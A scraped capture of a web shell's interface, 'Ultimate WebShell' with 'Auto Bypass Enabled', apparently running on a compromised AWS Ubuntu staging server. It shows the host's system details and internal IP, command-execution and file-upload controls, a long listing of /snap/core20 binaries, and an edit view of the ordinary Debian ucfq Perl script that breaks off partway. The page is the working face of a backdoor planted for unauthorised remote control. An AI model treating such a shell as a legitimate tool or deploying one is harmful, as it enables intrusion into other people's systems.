WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
core20
2866
usr
bin
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-04-10 12:14:14
-
[
File
58.34 KB
0755
2019-09-05 10:38:40
aa-enabled
File
30.52 KB
0755
2024-03-06 18:40:00
aa-exec
File
34.52 KB
0755
2024-03-06 18:40:00
addpart
File
30.23 KB
0755
2026-03-06 16:20:35
arch
File
38.37 KB
0755
2019-09-05 10:38:40
awk
File
158.74 KB
0755
2020-02-16 19:41:09
b2sum
File
58.37 KB
0755
2019-09-05 10:38:40
base32
File
42.34 KB
0755
2019-09-05 10:38:40
base64
File
42.34 KB
0755
2019-09-05 10:38:40
basename
File
38.34 KB
0755
2019-09-05 10:38:40
bash
File
1.13 MB
0755
2022-04-18 09:14:46
bashbug
File
6.63 KB
0755
2022-04-18 09:14:46
bootctl
File
62.34 KB
0755
2026-03-13 16:48:11
bunzip2
File
38.23 KB
0755
2019-09-05 15:05:14
busctl
File
86.34 KB
0755
2026-03-13 16:48:11
bzcat
File
38.23 KB
0755
2019-09-05 15:05:14
bzcmp
File
2.17 KB
0755
2019-09-05 15:05:14
bzdiff
File
2.17 KB
0755
2019-09-05 15:05:14
bzegrep
File
3.69 KB
0755
2019-09-05 15:05:14
bzexe
File
4.76 KB
0755
2019-09-04 13:22:31
bzfgrep
File
3.69 KB
0755
2019-09-05 15:05:14
bzgrep
File
3.69 KB
0755
2019-09-05 15:05:14
bzip2
File
38.23 KB
0755
2019-09-05 15:05:14
bzip2recover
File
18.15 KB
0755
2019-09-05 15:05:14
bzless
File
1.27 KB
0755
2019-09-05 15:05:14
bzmore
File
1.27 KB
0755
2019-09-05 15:05:14
c_rehash
File
6.65 KB
0755
2026-04-01 14:21:20
captoinfo
File
90.41 KB
0755
2023-05-16 18:47:48
cat
File
42.4 KB
0755
2019-09-05 10:38:40
catchsegv
File
3.26 KB
0755
2026-01-30 08:05:14
cautious-launcher
File
853 B
0755
2019-10-18 23:05:50
chage
File
82.53 KB
2755
2024-02-06 12:49:54
chardet3
File
389 B
0755
2019-12-17 12:31:30
chardetect3
File
389 B
0755
2019-12-17 12:31:30
chattr
File
14.31 KB
0755
2023-10-09 01:56:01
chcon
File
70.34 KB
0755
2019-09-05 10:38:40
chfn
File
83.07 KB
4755
2024-02-06 12:49:54
chgrp
File
70.34 KB
0755
2019-09-05 10:38:40
chmod
File
62.37 KB
0755
2019-09-05 10:38:40
choom
File
50.23 KB
0755
2026-03-06 16:20:35
chown
File
70.34 KB
0755
2019-09-05 10:38:40
chrt
File
38.23 KB
0755
2026-03-06 16:20:35
chsh
File
51.8 KB
4755
2024-02-06 12:49:54
cksum
File
38.34 KB
0755
2019-09-05 10:38:40
clear
File
14.31 KB
0755
2023-05-16 18:47:48
clear_console
File
14.23 KB
0755
2022-04-18 09:14:46
cloud-id
File
396 B
0755
2025-06-25 15:09:01
cloud-init
File
400 B
0755
2025-06-25 15:09:01
cloud-init-per
File
2.06 KB
0755
2025-01-15 15:24:11
cmp
File
50.09 KB
0755
2019-04-08 12:04:00
comm
File
42.37 KB
0755
2019-09-05 10:38:40
compose
File
18.05 KB
0755
2019-10-18 23:05:50
console-conf
File
406 B
0755
2020-04-20 14:31:39
core-sshd-host-keygen
File
1.49 KB
0755
2026-04-10 12:08:57
cp
File
150.37 KB
0755
2019-09-05 10:38:40
csplit
File
54.37 KB
0755
2019-09-05 10:38:40
ctstat
File
30.51 KB
0755
2020-02-13 17:21:59
cut
File
46.37 KB
0755
2019-09-05 10:38:40
cvtsudoers
File
266.7 KB
0755
2025-06-25 20:10:55
dash
File
126.77 KB
0755
2019-07-18 18:15:27
date
File
106.37 KB
0755
2019-09-05 10:38:40
dbus-cleanup-sockets
File
14.14 KB
0755
2022-10-25 13:09:26
dbus-daemon
File
243.2 KB
0755
2022-10-25 13:09:26
dbus-monitor
File
30.14 KB
0755
2022-10-25 13:09:26
dbus-run-session
File
14.14 KB
0755
2022-10-25 13:09:26
dbus-send
File
30.14 KB
0755
2022-10-25 13:09:26
dbus-update-activation-environment
File
14.14 KB
0755
2022-10-25 13:09:26
dbus-uuidgen
File
14.14 KB
0755
2022-10-25 13:09:26
dd
File
78.38 KB
0755
2019-09-05 10:38:40
deb-systemd-helper
File
20.83 KB
0755
2019-06-21 18:56:55
deb-systemd-invoke
File
4.33 KB
0755
2019-06-21 18:56:55
delpart
File
30.23 KB
0755
2026-03-06 16:20:35
df
File
90.95 KB
0755
2019-09-05 10:38:40
dh_bash-completion
File
2.39 KB
0755
2020-01-26 03:42:18
diff
File
214.34 KB
0755
2019-04-08 12:04:00
diff3
File
66.21 KB
0755
2019-04-08 12:04:00
dir
File
138.81 KB
0755
2019-09-05 10:38:40
dircolors
File
46.34 KB
0755
2019-09-05 10:38:40
dirname
File
38.34 KB
0755
2019-09-05 10:38:40
dmesg
File
82.46 KB
0755
2026-03-06 16:20:35
dnsdomainname
File
26.23 KB
0755
2019-11-07 11:31:36
domainname
File
26.23 KB
0755
2019-11-07 11:31:36
dpkg-deb
File
174.54 KB
0755
2022-05-25 11:14:20
du
File
106.37 KB
0755
2019-09-05 10:38:40
ec2metadata
File
7.12 KB
0755
2020-02-25 20:41:21
echo
File
38.34 KB
0755
2019-09-05 10:38:40
edit
File
18.05 KB
0755
2019-10-18 23:05:50
editor
File
1.29 MB
0755
2026-03-11 00:04:49
egrep
File
28 B
0755
2020-01-29 09:31:53
env
File
42.34 KB
0755
2019-09-05 10:38:40
ex
File
1.29 MB
0755
2026-03-11 00:04:49
expand
File
42.37 KB
0755
2019-09-05 10:38:40
expiry
File
30.58 KB
2755
2024-02-06 12:49:54
expr
File
54.34 KB
0755
2019-09-05 10:38:40
factor
File
78.37 KB
0755
2019-09-05 10:38:40
faillog
File
22.59 KB
0755
2024-02-06 12:49:54
fallocate
File
34.23 KB
0755
2026-03-06 16:20:35
false
File
38.34 KB
0755
2019-09-05 10:38:40
fgrep
File
28 B
0755
2020-01-29 09:31:53
file
File
26.47 KB
0755
2020-01-16 20:39:11
finalrd
File
2.1 KB
0755
2020-09-10 14:53:09
fincore
File
34.27 KB
0755
2026-03-06 16:20:35
find
File
312.66 KB
0755
2020-02-18 01:05:59
findmnt
File
71.41 KB
0755
2026-03-06 16:20:35
flock
File
34.3 KB
0755
2026-03-06 16:20:35
fmt
File
46.34 KB
0755
2019-09-05 10:38:40
fold
File
42.34 KB
0755
2019-09-05 10:38:40
free
File
26.23 KB
0755
2023-10-31 11:35:56
gdbserver
File
509.55 KB
0755
2024-06-13 02:43:41
getconf
File
34.29 KB
0755
2026-01-30 08:05:14
getent
File
38.65 KB
0755
2026-01-30 08:05:14
getopt
File
22.23 KB
0755
2026-03-06 16:20:35
gpasswd
File
86.39 KB
4755
2024-02-06 12:49:54
gpgv
File
447.15 KB
0755
2026-01-05 22:19:03
grep
File
194.47 KB
0755
2020-01-29 09:31:53
groups
File
38.34 KB
0755
2019-09-05 10:38:40
growpart
File
23.95 KB
0755
2020-02-25 20:41:21
gunzip
File
2.29 KB
0755
2022-04-08 11:05:45
gzexe
File
6.3 KB
0755
2022-04-08 11:05:45
gzip
File
95.21 KB
0755
2022-04-08 11:05:45
head
File
46.37 KB
0755
2019-09-05 10:38:40
helpztags
File
2.46 KB
0755
2024-09-04 03:09:54
hostid
File
38.34 KB
0755
2019-09-05 10:38:40
hostname
File
26.23 KB
0755
2019-11-07 11:31:36
hostnamectl
File
26.22 KB
0755
2026-03-13 16:48:11
i386
File
26.5 KB
0755
2026-03-06 16:20:35
iconv
File
66.41 KB
0755
2026-01-30 08:05:14
id
File
46.37 KB
0755
2019-09-05 10:38:40
infocmp
File
62.38 KB
0755
2023-05-16 18:47:48
infotocap
File
90.41 KB
0755
2023-05-16 18:47:48
install
File
154.41 KB
0755
2019-09-05 10:38:40
ionice
File
30.23 KB
0755
2026-03-06 16:20:35
ip
File
597.62 KB
0755
2020-02-13 17:21:59
ipcmk
File
34.3 KB
0755
2026-03-06 16:20:35
ipcrm
File
34.23 KB
0755
2026-03-06 16:20:35
ipcs
File
66.23 KB
0755
2026-03-06 16:20:35
iptables-xml
File
96.97 KB
0755
2023-05-09 18:39:57
ischroot
File
14.2 KB
0755
2019-12-07 02:13:44
join
File
54.37 KB
0755
2019-09-05 10:38:40
journalctl
File
78.24 KB
0755
2026-03-13 16:48:11
jsondiff
File
1004 B
0755
2019-09-05 13:01:23
jsonpatch
File
3.58 KB
0755
2019-09-05 13:01:23
jsonpatch-jsondiff
File
1004 B
0755
2019-09-05 13:01:23
jsonpointer
File
1.79 KB
0755
2020-01-24 03:25:15
jsonschema
File
397 B
0755
2020-01-23 18:44:38
kernel-install
File
5.07 KB
0755
2020-04-01 17:23:42
kill
File
30.23 KB
0755
2023-10-31 11:35:56
kmod
File
170.34 KB
0755
2022-01-28 14:49:50
kmodsign
File
22.29 KB
0755
2022-03-10 19:41:04
last
File
50.23 KB
0755
2026-03-06 16:20:35
lastb
File
50.23 KB
0755
2026-03-06 16:20:35
lastlog
File
31.66 KB
0755
2024-02-06 12:49:54
lcf
File
7.6 KB
0755
2018-12-14 08:51:14
ldd
File
5.31 KB
0755
2026-01-30 08:05:14
less
File
175.84 KB
0755
2024-04-28 11:42:44
lessecho
File
14.31 KB
0755
2024-04-28 11:42:44
lessfile
File
8.36 KB
0755
2019-09-03 04:41:52
lesskey
File
23.72 KB
0755
2024-04-28 11:42:44
lesspipe
File
8.36 KB
0755
2019-09-03 04:41:52
link
File
38.34 KB
0755
2019-09-05 10:38:40
linux32
File
26.5 KB
0755
2026-03-06 16:20:35
linux64
File
26.5 KB
0755
2026-03-06 16:20:35
ln
File
74.38 KB
0755
2019-09-05 10:38:40
lnstat
File
30.51 KB
0755
2020-02-13 17:21:59
locale
File
57.56 KB
0755
2026-01-30 08:05:14
locale-check
File
14.16 KB
0755
2024-01-02 17:12:43
localectl
File
26.22 KB
0755
2026-03-13 16:48:11
localedef
File
326.96 KB
0755
2026-01-30 08:05:14
logger
File
50.82 KB
0755
2026-03-06 16:20:35
login
File
55.77 KB
0755
2024-02-06 12:49:54
loginctl
File
58.34 KB
0755
2026-03-13 16:48:11
logname
File
38.34 KB
0755
2019-09-05 10:38:40
ls
File
138.81 KB
0755
2019-09-05 10:38:40
lsattr
File
14.31 KB
0755
2023-10-09 01:56:01
lsblk
File
130.23 KB
0755
2026-03-06 16:20:35
lscpu
File
98.23 KB
0755
2026-03-06 16:20:35
lsipc
File
94.23 KB
0755
2026-03-06 16:20:35
lslocks
File
38.55 KB
0755
2026-03-06 16:20:35
lslogins
File
66.23 KB
0755
2026-03-06 16:20:35
lsmem
File
66.23 KB
0755
2026-03-06 16:20:35
lsmod
File
170.34 KB
0755
2022-01-28 14:49:50
lsns
File
50.23 KB
0755
2026-03-06 16:20:35
man
File
128 B
0755
2026-04-10 12:08:57
mawk
File
158.74 KB
0755
2020-02-16 19:41:09
mcookie
File
34.3 KB
0755
2026-03-06 16:20:35
md5sum
File
46.37 KB
0755
2019-09-05 10:38:40
md5sum.textutils
File
46.37 KB
0755
2019-09-05 10:38:40
mesg
File
14.23 KB
0755
2026-03-06 16:20:35
miniterm
File
34.28 KB
0755
2020-02-03 16:29:07
mkdir
File
86.34 KB
0755
2019-09-05 10:38:40
mkfifo
File
66.34 KB
0755
2019-09-05 10:38:40
mknod
File
70.34 KB
0755
2019-09-05 10:38:40
mksquashfs
File
205.96 KB
0755
2021-10-12 00:36:41
mkswapfile
File
865 B
0755
2026-04-10 12:08:57
mktemp
File
46.34 KB
0755
2019-09-05 10:38:40
more
File
42.15 KB
0755
2026-03-06 16:20:35
mount
File
54.23 KB
4755
2026-03-06 16:20:35
mountpoint
File
14.23 KB
0755
2026-03-06 16:20:35
mv
File
146.38 KB
0755
2019-09-05 10:38:40
namei
File
34.23 KB
0755
2026-03-06 16:20:35
nawk
File
158.74 KB
0755
2020-02-16 19:41:09
nc
File
42.64 KB
0755
2020-03-09 18:50:15
nc.openbsd
File
42.64 KB
0755
2020-03-09 18:50:15
netcat
File
42.64 KB
0755
2020-03-09 18:50:15
networkctl
File
74.23 KB
0755
2026-03-13 16:48:11
newgrp
File
43.73 KB
4755
2024-02-06 12:49:54
nice
File
42.34 KB
0755
2019-09-05 10:38:40
nisdomainname
File
26.23 KB
0755
2019-11-07 11:31:36
nl
File
42.43 KB
0755
2019-09-05 10:38:40
nohup
File
42.34 KB
0755
2019-09-05 10:38:40
nproc
File
42.34 KB
0755
2019-09-05 10:38:40
nsenter
File
34.43 KB
0755
2026-03-06 16:20:35
nstat
File
78.23 KB
0755
2020-02-13 17:21:59
numfmt
File
66.4 KB
0755
2019-09-05 10:38:40
od
File
70.37 KB
0755
2019-09-05 10:38:40
openssl
File
735.68 KB
0755
2026-04-01 14:21:20
p11-kit
File
34.39 KB
0755
2021-01-04 19:04:11
p11tool
File
359.38 KB
0755
2025-09-08 16:05:22
pager
File
175.84 KB
0755
2024-04-28 11:42:44
partx
File
118.23 KB
0755
2026-03-06 16:20:35
passwd
File
66.61 KB
4755
2024-02-06 12:49:54
paste
File
42.37 KB
0755
2019-09-05 10:38:40
pathchk
File
38.34 KB
0755
2019-09-05 10:38:40
pdb3
File
61.27 KB
0755
2026-03-03 11:49:16
pdb3.8
File
61.27 KB
0755
2026-03-03 11:49:16
perl
File
3.32 MB
0755
2023-11-23 15:02:19
perl5.30.0
File
3.32 MB
0755
2023-11-23 15:02:19
pgrep
File
30.24 KB
0755
2023-10-31 11:35:56
pidof
File
26.38 KB
0755
2020-02-13 18:38:21
ping
File
71.07 KB
0755
2022-09-13 19:06:15
ping4
File
71.07 KB
0755
2022-09-13 19:06:15
ping6
File
71.07 KB
0755
2022-09-13 19:06:15
pinky
File
42.37 KB
0755
2019-09-05 10:38:40
pkcs11-tool
File
152.77 KB
0755
2025-04-09 03:19:18
pkill
File
30.24 KB
0755
2023-10-31 11:35:56
pldd
File
22.37 KB
0755
2026-01-30 08:05:14
pmap
File
34.24 KB
0755
2023-10-31 11:35:56
pr
File
74.43 KB
0755
2019-09-05 10:38:40
print
File
18.05 KB
0755
2019-10-18 23:05:50
printenv
File
38.34 KB
0755
2019-09-05 10:38:40
printf
File
58.34 KB
0755
2019-09-05 10:38:40
prlimit
File
38.74 KB
0755
2026-03-06 16:20:35
ps
File
134.46 KB
0755
2023-10-31 11:35:56
ptx
File
78.4 KB
0755
2019-09-05 10:38:40
pwd
File
42.34 KB
0755
2019-09-05 10:38:40
pwdx
File
14.23 KB
0755
2023-10-31 11:35:56
py3clean
File
7.63 KB
0755
2020-03-13 12:20:20
py3compile
File
11.84 KB
0755
2020-03-13 12:20:20
py3versions
File
11.44 KB
0755
2020-03-13 12:20:20
pydoc3
File
79 B
0755
2026-03-03 11:49:16
pydoc3.8
File
79 B
0755
2026-03-03 11:49:16
pygettext3
File
21.03 KB
0755
2026-03-03 11:49:16
pygettext3.8
File
21.03 KB
0755
2026-03-03 11:49:16
pyjwt3
File
372 B
0755
2026-03-26 18:06:13
python3
File
5.23 MB
0755
2026-03-03 11:49:16
python3.8
File
5.23 MB
0755
2026-03-03 11:49:16
rbash
File
1.13 MB
0755
2022-04-18 09:14:46
rcp
File
114.3 KB
0755
2026-03-05 19:37:37
rdma
File
130.23 KB
0755
2020-02-13 17:21:59
readlink
File
50.34 KB
0755
2019-09-05 10:38:40
realpath
File
50.37 KB
0755
2019-09-05 10:38:40
rename.ul
File
22.23 KB
0755
2026-03-06 16:20:35
renice
File
14.23 KB
0755
2026-03-06 16:20:35
reset
File
30.31 KB
0755
2023-05-16 18:47:48
resizepart
File
62.23 KB
0755
2026-03-06 16:20:35
resolvectl
File
126.38 KB
0755
2026-03-13 16:48:11
rev
File
14.23 KB
0755
2026-03-06 16:20:35
rgrep
File
30 B
0755
2020-01-16 15:27:20
rlogin
File
774.95 KB
0755
2026-03-05 19:37:37
rm
File
70.37 KB
0755
2019-09-05 10:38:40
rmdir
File
46.34 KB
0755
2019-09-05 10:38:40
routef
File
208 B
0755
2020-02-13 17:21:59
routel
File
1.62 KB
0755
2020-02-13 17:21:59
rsh
File
774.95 KB
0755
2026-03-05 19:37:37
rtstat
File
30.51 KB
0755
2020-02-13 17:21:59
run-mailcap
File
18.05 KB
0755
2019-10-18 23:05:50
run-parts
File
26.51 KB
0755
2019-12-07 02:13:44
runcon
File
38.34 KB
0755
2019-09-05 10:38:40
rview
File
1.29 MB
0755
2026-03-11 00:04:49
savelog
File
10.24 KB
0755
2019-12-07 02:13:44
sbattach
File
58.48 KB
0755
2022-03-10 19:41:04
sbkeysync
File
66.7 KB
0755
2022-03-10 19:41:04
sbsiglist
File
58.55 KB
0755
2022-03-10 19:41:04
sbsign
File
58.55 KB
0755
2022-03-10 19:41:04
sbvarsign
File
66.61 KB
0755
2022-03-10 19:41:04
sbverify
File
62.48 KB
0755
2022-03-10 19:41:04
scp
File
114.3 KB
0755
2026-03-05 19:37:37
script
File
54.23 KB
0755
2026-03-06 16:20:35
scriptreplay
File
30.23 KB
0755
2026-03-06 16:20:35
sdiff
File
50.09 KB
0755
2019-04-08 12:04:00
sed
File
118.45 KB
0755
2018-12-22 14:24:04
see
File
18.05 KB
0755
2019-10-18 23:05:50
select-editor
File
2.38 KB
0755
2019-11-17 12:21:22
sensible-browser
File
1.2 KB
0755
2019-11-17 12:21:22
sensible-editor
File
1.14 KB
0755
2019-11-17 12:21:22
sensible-pager
File
452 B
0755
2019-11-17 12:21:22
seq
File
50.34 KB
0755
2019-09-05 10:38:40
setarch
File
26.5 KB
0755
2026-03-06 16:20:35
setpriv
File
46.23 KB
0755
2026-03-06 16:20:35
setsid
File
14.23 KB
0755
2026-03-06 16:20:35
setterm
File
46.23 KB
0755
2026-03-06 16:20:35
sftp
File
166.51 KB
0755
2026-03-05 19:37:37
sg
File
43.73 KB
4755
2024-02-06 12:49:54
sh
File
126.77 KB
0755
2019-07-18 18:15:27
sha1sum
File
50.37 KB
0755
2019-09-05 10:38:40
sha224sum
File
58.37 KB
0755
2019-09-05 10:38:40
sha256sum
File
58.37 KB
0755
2019-09-05 10:38:40
sha384sum
File
66.37 KB
0755
2019-09-05 10:38:40
sha512sum
File
66.37 KB
0755
2019-09-05 10:38:40
shred
File
62.37 KB
0755
2019-09-05 10:38:40
shuf
File
58.34 KB
0755
2019-09-05 10:38:40
skill
File
30.23 KB
0755
2023-10-31 11:35:56
slabtop
File
22.23 KB
0755
2023-10-31 11:35:56
sleep
File
38.34 KB
0755
2019-09-05 10:38:40
slogin
File
774.95 KB
0755
2026-03-05 19:37:37
snap
File
22.43 MB
0755
2026-06-29 12:01:19
snapctl
File
0 B
0
1970-01-01 00:00:00
snice
File
30.23 KB
0755
2023-10-31 11:35:56
sort
File
114.63 KB
0755
2019-09-05 10:38:40
split
File
58.77 KB
0755
2019-09-05 10:38:40
ss
File
164.84 KB
0755
2020-02-13 17:21:59
ssh
File
774.95 KB
0755
2026-03-05 19:37:37
ssh-add
File
362.28 KB
0755
2026-03-05 19:37:37
ssh-agent
File
342.29 KB
2755
2026-03-05 19:37:37
ssh-argv0
File
1.42 KB
0755
2023-04-03 22:47:13
ssh-copy-id
File
10.41 KB
0755
2020-02-14 00:40:54
ssh-keygen
File
466.3 KB
0755
2026-03-05 19:37:37
ssh-keyscan
File
454.3 KB
0755
2026-03-05 19:37:37
stat
File
86.37 KB
0755
2019-09-05 10:38:40
stdbuf
File
50.34 KB
0755
2019-09-05 10:38:40
stty
File
82.37 KB
0755
2019-09-05 10:38:40
su
File
66.23 KB
4755
2026-03-06 16:20:35
sudo
File
162.16 KB
4755
2025-06-25 20:10:55
sudoedit
File
162.16 KB
4755
2025-06-25 20:10:55
sudoreplay
File
63 KB
0755
2025-06-25 20:10:55
sum
File
46.34 KB
0755
2019-09-05 10:38:40
sync
File
38.34 KB
0755
2019-09-05 10:38:40
systemctl
File
973.23 KB
0755
2026-03-13 16:48:11
systemd
File
1.55 MB
0755
2023-03-02 12:58:02
systemd-analyze
File
1.51 MB
0755
2026-03-13 16:48:11
systemd-ask-password
File
14.34 KB
0755
2026-03-13 16:48:11
systemd-cat
File
18.23 KB
0755
2026-03-13 16:48:11
systemd-cgls
File
22.33 KB
0755
2026-03-13 16:48:11
systemd-cgtop
File
38.24 KB
0755
2026-03-13 16:48:11
systemd-delta
File
26.22 KB
0755
2026-03-13 16:48:11
systemd-detect-virt
File
18.22 KB
0755
2026-03-13 16:48:11
systemd-escape
File
22.22 KB
0755
2026-03-13 16:48:11
systemd-hwdb
File
106.52 KB
0755
2026-03-13 16:48:11
systemd-id128
File
22.22 KB
0755
2026-03-13 16:48:11
systemd-inhibit
File
22.24 KB
0755
2026-03-13 16:48:11
systemd-machine-id-setup
File
26.32 KB
0755
2026-03-13 16:48:11
systemd-mount
File
50.45 KB
0755
2026-03-13 16:48:11
systemd-notify
File
18.23 KB
0755
2026-03-13 16:48:11
systemd-path
File
18.22 KB
0755
2026-03-13 16:48:11
systemd-resolve
File
126.38 KB
0755
2026-03-13 16:48:11
systemd-run
File
58.42 KB
0755
2026-03-13 16:48:11
systemd-socket-activate
File
26.22 KB
0755
2026-03-13 16:48:11
systemd-stdio-bridge
File
22.23 KB
0755
2026-03-13 16:48:11
systemd-sysusers
File
54.52 KB
0755
2026-03-13 16:48:11
systemd-tmpfiles
File
86.41 KB
0755
2026-03-13 16:48:11
systemd-tty-ask-password-agent
File
30.22 KB
0755
2026-03-13 16:48:11
systemd-umount
File
50.45 KB
0755
2026-03-13 16:48:11
tabs
File
18.3 KB
0755
2023-05-16 18:47:48
tac
File
42.34 KB
0755
2019-09-05 10:38:40
tail
File
70.4 KB
0755
2019-09-05 10:38:40
tar
File
437.61 KB
0755
2023-12-05 05:16:50
taskset
File
34.23 KB
0755
2026-03-06 16:20:35
tee
File
42.37 KB
0755
2019-09-05 10:38:40
tempfile
File
14.02 KB
0755
2019-12-07 02:13:44
test
File
54.34 KB
0755
2019-09-05 10:38:40
tic
File
90.41 KB
0755
2023-05-16 18:47:48
timedatectl
File
815 B
0755
2026-04-10 12:13:47
timedatectl.real
File
46.22 KB
0755
2026-03-13 16:48:11
timeout
File
42.77 KB
0755
2019-09-05 10:38:40
tload
File
22.24 KB
0755
2023-10-31 11:35:56
toe
File
22.3 KB
0755
2023-05-16 18:47:48
top
File
126.05 KB
0755
2023-10-31 11:35:56
touch
File
98.37 KB
0755
2019-09-05 10:38:40
tput
File
26.34 KB
0755
2023-05-16 18:47:48
tr
File
50.34 KB
0755
2019-09-05 10:38:40
true
File
38.34 KB
0755
2019-09-05 10:38:40
truncate
File
42.34 KB
0755
2019-09-05 10:38:40
tset
File
30.31 KB
0755
2023-05-16 18:47:48
tsort
File
42.34 KB
0755
2019-09-05 10:38:40
tty
File
38.34 KB
0755
2019-09-05 10:38:40
tzselect
File
15.02 KB
0755
2026-01-30 08:05:14
ucf
File
39.73 KB
0755
2018-12-14 08:51:14
ucfq
File
18.91 KB
0755
2018-12-14 08:51:14
ucfr
File
10.47 KB
0755
2018-12-14 08:51:14
udevadm
File
935.2 KB
0755
2026-03-13 16:48:11
umount
File
38.23 KB
4755
2026-03-06 16:20:35
uname
File
38.37 KB
0755
2019-09-05 10:38:40
uncompress
File
2.29 KB
0755
2022-04-08 11:05:45
unexpand
File
42.37 KB
0755
2019-09-05 10:38:40
uniq
File
50.37 KB
0755
2019-09-05 10:38:40
unlink
File
38.34 KB
0755
2019-09-05 10:38:40
unshare
File
42.43 KB
0755
2026-03-06 16:20:35
unsquashfs
File
112.12 KB
0755
2021-10-12 00:36:41
update-alternatives
File
54.41 KB
0755
2022-05-25 11:14:20
uptime
File
14.23 KB
0755
2023-10-31 11:35:56
users
File
38.34 KB
0755
2019-09-05 10:38:40
utmpdump
File
30.23 KB
0755
2026-03-06 16:20:35
vcs-run
File
6.75 KB
0755
2020-02-25 20:41:21
vdir
File
138.81 KB
0755
2019-09-05 10:38:40
vi
File
1.29 MB
0755
2026-03-11 00:04:49
view
File
1.29 MB
0755
2026-03-11 00:04:49
vim.tiny
File
1.29 MB
0755
2026-03-11 00:04:49
vmstat
File
38.25 KB
0755
2023-10-31 11:35:56
w
File
22.23 KB
0755
2023-10-31 11:35:56
w.procps
File
22.23 KB
0755
2023-10-31 11:35:56
wall
File
34.23 KB
0755
2026-03-06 16:20:35
watch
File
26.57 KB
0755
2023-10-31 11:35:56
wc
File
46.34 KB
0755
2019-09-05 10:38:40
wdctl
File
34.23 KB
0755
2026-03-06 16:20:35
whereis
File
34.66 KB
0755
2026-03-06 16:20:35
which
File
946 B
0755
2019-12-07 02:13:44
who
File
58.37 KB
0755
2019-09-05 10:38:40
whoami
File
38.34 KB
0755
2019-09-05 10:38:40
wpa_passphrase
File
82.32 KB
0755
2025-02-24 20:14:55
x86_64
File
26.5 KB
0755
2026-03-06 16:20:35
xargs
File
74.37 KB
0755
2020-02-18 01:05:59
xdg-open
File
38 B
0755
2026-04-10 12:13:47
xdg-settings
File
1.68 KB
0755
2026-04-10 12:13:47
xxd
File
18.27 KB
0755
2026-03-11 00:04:49
yes
File
38.34 KB
0755
2019-09-05 10:38:40
ypdomainname
File
26.23 KB
0755
2019-11-07 11:31:36
zcat
File
1.94 KB
0755
2022-04-08 11:05:45
zcmp
File
1.64 KB
0755
2022-04-08 11:05:45
zdiff
File
5.76 KB
0755
2022-04-08 11:05:45
zdump
File
26.21 KB
0755
2026-01-30 08:05:14
zegrep
File
29 B
0755
2022-04-08 11:05:45
zfgrep
File
29 B
0755
2022-04-08 11:05:45
zforce
File
2.03 KB
0755
2022-04-08 11:05:45
zgrep
File
7.91 KB
0755
2022-04-08 11:05:45
zless
File
2.15 KB
0755
2022-04-08 11:05:45
zmore
File
1.8 KB
0755
2022-04-08 11:05:45
znew
File
4.47 KB
0755
2022-04-08 11:05:45
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: ucfq
#!/usr/bin/perl # -*- Mode: Cperl -*- # ucfq --- # Author : Manoj Srivastava ( srivasta@glaurung.internal.golden-gryphon.com ) # Created On : Wed Apr 12 14:51:16 2006 # Created On Node : glaurung.internal.golden-gryphon.com # Last Modified By : Manoj Srivastava # Last Modified On : Fri Apr 14 19:30:45 2006 # Last Machine Used: glaurung.internal.golden-gryphon.com # Update Count : 81 # Status : Unknown, Use with caution! # HISTORY : # Description : # # arch-tag: 1390e09f-ee31-4d7f-a968-bd539ea061a0 # =head1 NAME ucfq - query ucf registry and hashfile about configuration file details. =cut use strict; package ucf; use strict; use Getopt::Long; # set the version and revision ($main::MYNAME = $main::0) =~ s|.*/||; $main::Author = "Manoj Srivastava"; $main::AuthorMail = "srivasta\@debian.org"; =head1 SYNOPSIS usage: ucfq [options] (file|package)[file|package ...] =cut { # scope for ultra-private meta-object for class attributes my %Ucf = ( Optdesc => { 'help|h' => sub {print ucf->Usage(); exit 0;}, 'with-colons|w!' => sub {$::ConfOpts{"Colons"}= "$_[1]";}, 'state-dir=s' => sub {$::ConfOpts{"StateDir"}= "$_[1]";}, 'debug|d' => sub {$::ConfOpts{"DEBUG"}+= "$_[1]";}, 'verbose|v' => sub {$::ConfOpts{"VERBOSE"}+= "$_[1]";} }, Usage => qq(Usage: $main::MYNAME [options] Author: $main::Author <$main::AuthorMail> where options are: --help This message. --debug Turn on debugging mode. --verbose Make the script more verbose. --with-colons A compact, machine readable version of the output. --state-dir </path/> Set the state directory to /path/ instead of the default /var/lib/ucf. ), Defaults => { "Colons" => 0, "DEBUG" => 0, "VERBOSE" => 0, "StateDir" => '/var/lib/ucf' } ); # tri-natured: function, class method, or object method sub _classobj { my $obclass = shift || __PACKAGE__; my $class = ref($obclass) || $obclass; no strict "refs"; # to convert sym ref to real one return \%$class; } for my $datum (keys %Ucf ) { no strict "refs"; *$datum = sub { use strict "refs"; my ($self, $newvalue) = @_; $Ucf{$datum} = $newvalue if @_ > 1; return $Ucf{$datum}; } } } =head1 OPTIONS =over 3 =item B<--help> B<h> Print out a usage message. =item B<--debug> B<-d> Turn on debugging mode. =item B<--verbose> B<-v> Make the script more verbose.. =item B<--with-colons> B<-w> =over 2 Normally, the script presents the information in a human readable tabular format, but that may be harder for a machine to parse. With this option, the output is a compact, colon separated line, with no dividers, headers, or footer. =back =item B<--state-dr> dir =over 2 Set the state directory to C</path/to/dir> instead of the default C</var/lib/ucf>. Used mostly for testing. =back =back =cut =head1 DESCRIPTION This script takes a set of arguments, each of which is a package or a path to a configuration file, and outputs the associated package, if any, if the file exists on disk, and whether it has been modfied by te user. The output is either a human readable tabular form, or a compact colon-separated machine friendly format. This script can potentially be used in package C<postinst> scripts during purge to query the system for configuration files that may still exist on the system, and whether these files have been locally modified by the user -- assuming that the package registered all the configuration files with B<ucf> using C<ucfr>. =cut =head1 INTERNALS =head2 Class Methods All class methods mediate access to class variables. All class methods can be invoked with zero or one parameters. When invoked with the optional parameter, the class method sets the value of the underlying class data. In either case, the value of the underlying variable is returned. =cut =head1 Class ucf This is a combination view and controller class that mediates between the user and the internal model classes. =head2 new This is the constructor for the class. It takes a number of optional parameters. If the parameter B<Colons> is present, then the output will be compact. The parameters B<DEBUG> and B<VERBOSE> turn on additional diagnostics from the script. =cut sub new { my $this = shift; my %params = @_; my $class = ref($this) || $this; my $self = {}; bless $self => $class; # validate and sanitize the settings $self->validate(%params); return $self; } =head2 validate This routine is responsible for 